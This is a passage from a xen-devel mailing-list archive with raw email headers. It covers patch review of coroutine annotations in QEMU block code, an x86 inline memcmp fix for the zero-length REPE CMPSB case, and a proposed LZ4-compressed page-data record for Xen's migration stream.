> -                                        Qcow2ReopenState *r,
> -                                        bool s_locked)
> +static void coroutine_fn
> +qcow2_update_options_commit(BlockDriverState *bs,
> +                            Qcow2ReopenState *r,
> +                            bool s_locked)
>  {
>      BDRVQcow2State *s = bs->opaque;
>      int i;
> @@ -2126,7 +2127,8 @@ fail:
>      return ret;
>  }
>  
> -static void qcow2_reopen_commit(BDRVReopenState *state)
> +static void coroutine_fn
> +qcow2_reopen_commit(BDRVReopenState *state)
>  {
>      BDRVQcow2State *s = state->bs->opaque;
>  
> @@ -2905,6 +2907,7 @@ qcow2_do_close(BlockDriverState *bs, bool close_data_file)
>      g_free(s->image_backing_format);
>  
>      if (close_data_file && has_data_file(bs)) {
> +        assert(!qemu_in_coroutine());
>          GLOBAL_STATE_CODE();
>          bdrv_graph_rdunlock_main_loop();
>          bdrv_graph_wrlock_drained();
> diff --git a/blockjob.c b/blockjob.c
> index f3b11cc7a19..f3ad6a93125 100644
> --- a/blockjob.c
> +++ b/blockjob.c
> @@ -338,7 +338,8 @@ void block_job_ratelimit_processed_bytes(BlockJob *job, uint64_t n)
>      ratelimit_calculate_delay(&job->limit, n);
>  }
>  
> -void block_job_ratelimit_sleep(BlockJob *job)
> +void coroutine_fn
> +block_job_ratelimit_sleep(BlockJob *job)
>  {
>      uint64_t delay_ns;
>  
>
Reviewed-by: Denis V. Lunev <den@openvz.org> (parallels part)


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 18:46:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 18:46:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368750.1617935 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmbxl-000338-V4; Wed, 22 Jul 2026 18:46:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368750.1617935; Wed, 22 Jul 2026 18:46:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmbxl-000331-SO; Wed, 22 Jul 2026 18:46:37 +0000
Received: by outflank-mailman (input) for mailman id 1368750;
 Wed, 22 Jul 2026 18:46:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wmbxk-00032v-Fb
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 18:46:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmbxj-001RnD-Hs
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 20:46:35 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a610fd6-e002-0a2a0a5209dd-0a2a450483c8-36
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 20:46:35 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a611009-b57f-0a2a45040019-c689ca888c9e-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 20:46:34 +0200
Received: from ehlo.thunderbird.net (c-76-133-66-138.hsd1.ca.comcast.net
 [76.133.66.138]) (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66MIk0ND1108880
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Wed, 22 Jul 2026 11:46:00 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:From:To:CC:Subject:In-Reply-To:References"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66MIk0ND1108880
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784745962;
	bh=vv4NuIBgZGQHoBeIg2Gczd78scbr9EeELphLC+J5EGM=;
	h=Date:From:To:CC:Subject:In-Reply-To:References:From;
	b=G+VJrcS9id2noY1BwUOadPgJWvVLD/Xwm2zTX13Ngabaz7Yz+8RLG/TMTx01Q5D+f
	 MlBWUNAMa954zO71aQx7POjCALNV6uGVMyufkHzV7oLn5kCkKX+/JQ2Kwi5n7ZVNHn
	 Ji7syA5AXrUcjh8JWOtGVUgot4EqnKLS3LevTR1ib2omzG654U2DL/Ab3uq0AwS3si
	 5VM1p075Y8udmFZ/Y7dZFyABLFg8vfixx2PFIWipmDrDalOUW5wrfEvrSiB2pZ7inA
	 w1f8jxH0HuxoD4wv+9fvarI8pfbbKZtiXMWiX69ki/bmkSF+JjeUXiYaIy7IVeZC/h
	 pQ9WOmR8VNbNA==
Date: Wed, 22 Jul 2026 11:45:55 -0700
From: "H. Peter Anvin" <hpa@zytor.com>
To: Borislav Petkov <bp@alien8.de>,
        Mauricio Faria de Oliveira <mfo@igalia.com>
CC: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: =?US-ASCII?Q?Re=3A_=5BPATCH_v7_2/5=5D_x86/asm=3A_add_volatile=2C_cl?=
 =?US-ASCII?Q?obbers_and_zero-length_check_in_inline_memcmp?=
User-Agent: K-9 Mail for Android
In-Reply-To: <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com> <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com> <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
Message-ID: <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
MIME-Version: 1.0
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-ebf023/1784745995-50CDFB50-E9D11BB6/0/0
X-purgate-type: clean
X-purgate-size: 2391

On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8=2Ede> wrote:
>hpa in To:=2E
>
>On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wrot=
e:
>> Add the volatile qualifier and clobbers parameter to prevent bugs with
>> instruction reordering and optimization=2E
>>=20
>> Also check the zero-length case, as the 'repe' prefix does not run the
>> 'cmpsb' instruction if the 'count' register is zero, which doesn't set
>
>Please use capital letters for insns: REPE, CMPSB and you don't need to p=
ut
>words in '' - it reads fine without them=2E
>
>> the condition-code/zero flag, so the result is based on a stale flag=2E
>>=20
>> Those are pre-existing issues found by Sashiko=2E
>>=20
>> Link: https://sashiko=2Edev/#/patchset/20260701-pvh-kasan-inline-v6-0-b=
a99045dfa9f%40igalia=2Ecom
>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia=2Ecom>
>> ---
>>  arch/x86/include/asm/shared/string=2Eh | 8 ++++++--
>>  1 file changed, 6 insertions(+), 2 deletions(-)
>>=20
>> diff --git a/arch/x86/include/asm/shared/string=2Eh b/arch/x86/include/=
asm/shared/string=2Eh
>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7=2E=2E166274e44f3cb49e3dc=
cab3cdac281d67aef5d44 100644
>> --- a/arch/x86/include/asm/shared/string=2Eh
>> +++ b/arch/x86/include/asm/shared/string=2Eh
>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const voi=
d *s1, const void *s2, size_
>>  {
>>  	bool diff;
>> =20
>> -	asm("repe cmpsb"
>> -	    : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>> +	if (len =3D=3D 0)
>> +		return 0;
>> +
>> +	asm volatile("repe cmpsb"
>> +		     : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
>> +		     : : "cc", "memory");
>> =20
>>  	return diff;
>>  }
>
>So this is a fix which should probably go to stable, I think=2E Going bac=
k into
>git history, it points to
>
>  62bd0337d0c4 ("Top header file for new x86 setup code")
>
>from 2007=2E And we have carried it this way through the years and who kn=
ows
>what hit this or not=2E So please make this the first patch in your set -=
 you
>can even send it separately so that I can get route it through stable=2E
>
>Then you can base the rest ontop=2E
>
>Thx=2E
>

Also, this is silly=2E Instead of adding a whole separate test, just do "t=
est %3,%3" before the repe to set ZF and let the REPE skip=2E


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 18:48:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 18:48:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368758.1617945 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmbzu-0003l4-8v; Wed, 22 Jul 2026 18:48:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368758.1617945; Wed, 22 Jul 2026 18:48:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmbzu-0003kx-68; Wed, 22 Jul 2026 18:48:50 +0000
Received: by outflank-mailman (input) for mailman id 1368758;
 Wed, 22 Jul 2026 18:48:48 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wmbzs-0003kr-O6
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 18:48:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmbzs-008fEq-4u
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 20:48:48 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a61107b-2eae-0a2a0a5409dd-0a2a4502dc66-12
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 20:48:48 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a61108c-6ca4-0a2a45020019-c689ca88964a-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 20:48:45 +0200
Received: from ehlo.thunderbird.net (c-76-133-66-138.hsd1.ca.comcast.net
 [76.133.66.138]) (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66MImErH1111943
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Wed, 22 Jul 2026 11:48:15 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:From:To:CC:Subject:In-Reply-To:References"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66MImErH1111943
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784746096;
	bh=R6SrU57hacFG4oDF/kYYKWpCQdfvx2DZX725okXN7iw=;
	h=Date:From:To:CC:Subject:In-Reply-To:References:From;
	b=Q6StkghlczxK+J5XaMrzi6vOfMthD0fNqpLGD2xxRvav4SXtzQbGl8G3TQJSPmIXI
	 VlC+SWKyDDKO6lA6W4YTRVVUnfWVZT2feqY9u7A27/QGVXzg8C5imn9MUKg++Wx88p
	 O7lkbsYu1cAmC6tV4j/atzG8Nhl0Gh/fsPWmniLeHvYWZzsAKE4VlXPKzlRjqY3vYU
	 jbJSPwAduf1GFKTCUTyt+RgOLrq46hI1sOsTv4eecah+EVLjooNiBEX0km9SavCooH
	 PuzwSnPt9o6iN6XRiPh+0plPgSeKwXNinL+984p/ZIUuFtRe92a9N59/wQFHWIIFFW
	 L/dwyiY+JrEVw==
Date: Wed, 22 Jul 2026 11:48:10 -0700
From: "H. Peter Anvin" <hpa@zytor.com>
To: Borislav Petkov <bp@alien8.de>,
        Mauricio Faria de Oliveira <mfo@igalia.com>
CC: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: =?US-ASCII?Q?Re=3A_=5BPATCH_v7_2/5=5D_x86/asm=3A_add_volatile=2C_cl?=
 =?US-ASCII?Q?obbers_and_zero-length_check_in_inline_memcmp?=
User-Agent: K-9 Mail for Android
In-Reply-To: <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com> <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com> <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
Message-ID: <829A5D01-29A2-454E-AE78-AEAD8FC597E6@zytor.com>
MIME-Version: 1.0
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-720697/1784746125-674BE2AC-53246492/0/0
X-purgate-type: clean
X-purgate-size: 2395

On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8=2Ede> wrote:
>hpa in To:=2E
>
>On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wrot=
e:
>> Add the volatile qualifier and clobbers parameter to prevent bugs with
>> instruction reordering and optimization=2E
>>=20
>> Also check the zero-length case, as the 'repe' prefix does not run the
>> 'cmpsb' instruction if the 'count' register is zero, which doesn't set
>
>Please use capital letters for insns: REPE, CMPSB and you don't need to p=
ut
>words in '' - it reads fine without them=2E
>
>> the condition-code/zero flag, so the result is based on a stale flag=2E
>>=20
>> Those are pre-existing issues found by Sashiko=2E
>>=20
>> Link: https://sashiko=2Edev/#/patchset/20260701-pvh-kasan-inline-v6-0-b=
a99045dfa9f%40igalia=2Ecom
>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia=2Ecom>
>> ---
>>  arch/x86/include/asm/shared/string=2Eh | 8 ++++++--
>>  1 file changed, 6 insertions(+), 2 deletions(-)
>>=20
>> diff --git a/arch/x86/include/asm/shared/string=2Eh b/arch/x86/include/=
asm/shared/string=2Eh
>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7=2E=2E166274e44f3cb49e3dc=
cab3cdac281d67aef5d44 100644
>> --- a/arch/x86/include/asm/shared/string=2Eh
>> +++ b/arch/x86/include/asm/shared/string=2Eh
>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const voi=
d *s1, const void *s2, size_
>>  {
>>  	bool diff;
>> =20
>> -	asm("repe cmpsb"
>> -	    : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>> +	if (len =3D=3D 0)
>> +		return 0;
>> +
>> +	asm volatile("repe cmpsb"
>> +		     : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
>> +		     : : "cc", "memory");
>> =20
>>  	return diff;
>>  }
>
>So this is a fix which should probably go to stable, I think=2E Going bac=
k into
>git history, it points to
>
>  62bd0337d0c4 ("Top header file for new x86 setup code")
>
>from 2007=2E And we have carried it this way through the years and who kn=
ows
>what hit this or not=2E So please make this the first patch in your set -=
 you
>can even send it separately so that I can get route it through stable=2E
>
>Then you can base the rest ontop=2E
>
>Thx=2E
>

I suspect that the zero-length case simply can't happen in the real code, =
but who knows; the use of the code has expanded over the years=2E


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 19:42:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 19:42:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368787.1617954 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmcpg-00046f-W8; Wed, 22 Jul 2026 19:42:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368787.1617954; Wed, 22 Jul 2026 19:42:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmcpg-00046Y-Sj; Wed, 22 Jul 2026 19:42:20 +0000
Received: by outflank-mailman (input) for mailman id 1368787;
 Wed, 22 Jul 2026 19:42:19 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wmcpf-00046S-Ev
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 19:42:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmcpd-001Y3z-2q
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 21:42:17 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a611d04-e002-0a2a0a5209dd-0a2a4508aa36-30
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 21:42:17 +0200
Received: from [209.85.128.180] (helo=mail-yw1-f180.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a611d17-f659-0a2a45080019-d15580b4dc01-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 21:42:16 +0200
Received: by mail-yw1-f180.google.com with SMTP id
 00721157ae682-80e2cfe6918so76791037b3.0
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 12:42:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784749335; cv=none;
        d=google.com; s=arc-20260327;
        b=W3XWJP9pHWYXFojlDTpNWGWiJpnQjM+vbsrlI2dUqCWmFR4/hLB0P6BFWG8fnPLHNB
         XasDT970sypQwVwiQoCPvvBemV985CgO378I1Hara1F7DQ1yjBPTL+23tBh+z1cJey6m
         33iUGZ2o5ExYmPe8xC/eESdOX1/wqyh+joxsXgfYmSx7q5pdhaJKGesK8i5HqNwms1De
         ZQyM54xfqWo2W1TTiNl5LcjO84Kol01QhBxV4PosjfsVEf2bUfN4tRxTtnzKH8MRgDQN
         svj/apvBno2t+BZpX9pVvZknw8Wror2E9t+0VF8vwPImaQeEJKU7u0/gK77d7S7ByAUE
         7ZSg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=7lE17GbwPKNIBMkfynrGK2sKsBVJoK8+6Y3ta3/lhcg=;
        fh=KJOng+3934We9fYiYveuJ+kUpTjfECQ6FV4TBZrUhG8=;
        b=U7QjYAEMYxQVJDVRNl1i4u4ZMdwkQmACiDdZJEF5/hwsen33kMEEd1mLQFEqa+zWAa
         G3ef0cOpu04uyzwkxMUzUU3LpNveaUuGSagF+pCBCEewc4e1Tq6ep32940TGoSGFFVqS
         YnghEjhdZGO8cRgnt373s95Gd36lvm0qp7o8frL4uRP6uB11oCOdN0QwOamwJgDtvKwa
         henhlY5N1V2moiF/FXv/TKrOtgGJQWVWqcx0NH16qq29r8WJ1mzrlyxxnyzhD7c0hktx
         J3WsErCmP/gtRwl7gx2e+1CCx15QH8uTFCQOpiAwdhk+S3oGVC33lNAiOzwZnqyF7wGx
         fPww==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784749335; x=1785354135; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=7lE17GbwPKNIBMkfynrGK2sKsBVJoK8+6Y3ta3/lhcg=;
        b=HpEap0HuAmPoG8N74JkQNapZQ2d4LP8+b03bvP9nZBSTZwpg0PNm7XOwIDIhRcXxeC
         nEyAeeBcR7j7UlaST4BsvWThLWIbnyAGGawv6hAwGLpGg9aMTi/+Kp4cxkJr72RUiwmh
         Cf2QwpCfvd4RT0QYehU6rPfM1LzMuKu3zL49t1BfDL8ZC8jDPKdS9EQFsjDetRlBexiY
         9WE7Z7+yQ805Z41Hg7JT2cNHckSj9q2GJCWYYGFckuVuAIGOoyKzVMwfgRrf/c77GF/z
         ls9+apWbrRAE7TOxW9Nx72zIZQJ34S9FvSLBIFBxnah5txnLJv84BmJUiUBVXkMZwSva
         5Ltg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784749335; x=1785354135;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=7lE17GbwPKNIBMkfynrGK2sKsBVJoK8+6Y3ta3/lhcg=;
        b=PeO5EDkhE1Pcb14bfgIElHHNM8nlrSXPvcQO0lAE2O/ZbAV9tYW5RYL1xVUm6F8I/y
         Qqv03iEPJmo1Y1XDMb/Dd1nNKm2oZLFokkZh/A2YymAinsjZgSPdE3PqndEL7W56rC+c
         WpeBAx6CEgpbDxGzTcl+8IETCDcpRiNc6cPRE2WcaxH7ofbhfuLXV8zAycz7piQt++3+
         j4in++5WBcY32PAm84idh0OCwZytjALGSpnDbsTKKBw3GsnHzu9Z8OWHri6TUzsPeeIz
         O53LUVy/R/F6KXix8KGYUAD4cN71L1SdW5bFWT2jI2RI/3RTSU2d9Fy9WJD8rGGEXtvm
         0RuA==
X-Forwarded-Encrypted: i=1; AHgh+RoxWCexjMlqsb+P2OaValu24lAB2cSeAJQUG5OQBA3v+Y/cQQ9qk1e0zlAl75YFhB8EOU2n+b6mrJs=@lists.xenproject.org
X-Gm-Message-State: AOJu0YziutedxZwVVdEQkXkQdFJnEP5fg+aAIV3KJb6VEVHxn+d5+4Ob
	td2oWwOsQe0lPfhz2LZEgTLeQ6muqezp8pI9+Eqx+CUlv5iFSrfQVdNH23nHs01hwfWd+tqWTsK
	0x76m7dv4StuD7NOiXbYa0EeCphoQCz4=
X-Gm-Gg: AR+sD12idcV0VQu+jJU5kHcrg2dgAgXa4m/VFZ58kr3VneQYHSP6HeHyAairDZM9H1U
	/mgqP8QkKSVTt/5W9JmR2IhRlSZLleI9NcB9c9kU9IeJDxeyKFAC2oftmwBjJ42crdjZfuH5FAT
	N2fa4TwycusjbOzh6m2J0N6vYlTaQXsKjBM1syBgfCQVyhUH7+zweFsQhyzGvwv/oZZVyrXaB8c
	220LntZGNYae5n68KGn6ioyEw6If3mYydUqiFJlNtdE5kyGvCvtwAZZnUzIU37XfPVz8cvkZC6d
	4K/BQItfCoyDBZ5udA==
X-Received: by 2002:a05:690c:c4cd:b0:81e:a4ea:d8b8 with SMTP id
 00721157ae682-81f4c22f5fdmr12967b3.13.1784749335414; Wed, 22 Jul 2026
 12:42:15 -0700 (PDT)
MIME-Version: 1.0
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
 <20260720154832.1907401-2-marcus.granado@citrix.com> <1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@vates.tech>
In-Reply-To: <1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Wed, 22 Jul 2026 20:42:04 +0100
X-Gm-Features: AUfX_mzHnRRUBsuF-LR5GrKkq7pdqRgX_-rf8k7yPWy3jPZKrBKZfFKggS7c_wY
Message-ID: <CAHt6W4erBfB+H_0d+2rQ0apz9Jt6ex+WVjEjyPm6EApoHVJgmg@mail.gmail.com>
Subject: Re: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream
 record type
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Marcus Granado <marcus.granado@citrix.com>, xen-devel@lists.xenproject.org, 
	Andrew Cooper <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Anthony PERARD <anthony.perard@vates.tech>, 
	=?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-c1860d/1784749337-CE14687B-C437140C/0/0
X-purgate-type: clean
X-purgate-size: 7015

On Tue, 21 Jul 2026 at 09:20, Teddy Astie <teddy.astie@vates.tech> wrote:
>
> Le 20/07/2026 =C3=A0 17:51, Marcus Granado a =C3=A9crit :
> > Allocate a new migration stream record type REC_TYPE_PAGE_DATA_LZ4
> > (0x00000013) to transmit PAGE_DATA when payload is LZ4-compressed. The
> > record use the same xc_sr_rec_page_data_header as REC_TYPE_PAGE_DATA
> > but the page data section type changes from page_data to data_lz4.
> >
> > Signed-off-by: Marcus Granado <marcus.granado@citrix.com>
> > ---
> >   docs/specs/libxc-migration-stream.pandoc | 71 ++++++++++++++++-
> >   tools/libs/guest/xg_sr_common.c          |  4 +
> >   tools/libs/guest/xg_sr_stream_format.h   | 13 ++++
> >   tools/python/xen/migration/libxc.py      | 90 ++++++++++++++++++++-
> >   tools/python/xen/migration/tests.py      | 99 +++++++++++++++++++++++=
-
> >   5 files changed, 271 insertions(+), 6 deletions(-)
> >
> > diff --git a/docs/specs/libxc-migration-stream.pandoc b/docs/specs/libx=
c-migration-stream.pandoc
> > index 1319ce1f1e..7469c95139 100644
> > --- a/docs/specs/libxc-migration-stream.pandoc
> > +++ b/docs/specs/libxc-migration-stream.pandoc
>
> ...

Don't we need to bump the version number while we add a new mandatory recor=
d?
Is there no kind of dialog about the supported version?

>
> > +PAGE_DATA_LZ4
> > +-------------
> > +
> > +A PAGE_DATA_LZ4 record carries exactly the same information as a
> > +PAGE_DATA record, but with the page contents LZ4-compressed.  The save=
r
> > +may emit it in place of a PAGE_DATA record when LZ4 compression has be=
en
> > +requested.
> > +
>
> Would it be preferable to make this structure more generic, i.e
> PAGE_DATA_COMPRESSED, as I'm not sure it's wise to restrict to only LZ4
> (someone may want to add support for e.g zstd or another algorithm
> without having to change the format) ?
>

Why not extending the generalization compressing all payload of
uncompressed packets (type+body), so to have something like

- LZ4 compressed type (uint32)
- compressed length (uint32)
- compressed data (array of bytes, length field above)
  Uncompressed data will contain
  - type (uint32, like PAGE_DATA)
  - body (array of bytes, not padded)
- padding to 8 bytes with zeroes

So we could compress any packet, not only PAGE_DATA.
Yes, to support more compression types an additional
"compression_type" or similar field could help. But what about
additional possible options?

> > +     0     1     2     3     4     5     6     7 octet
> > +    +-----------------------+-------------------------+
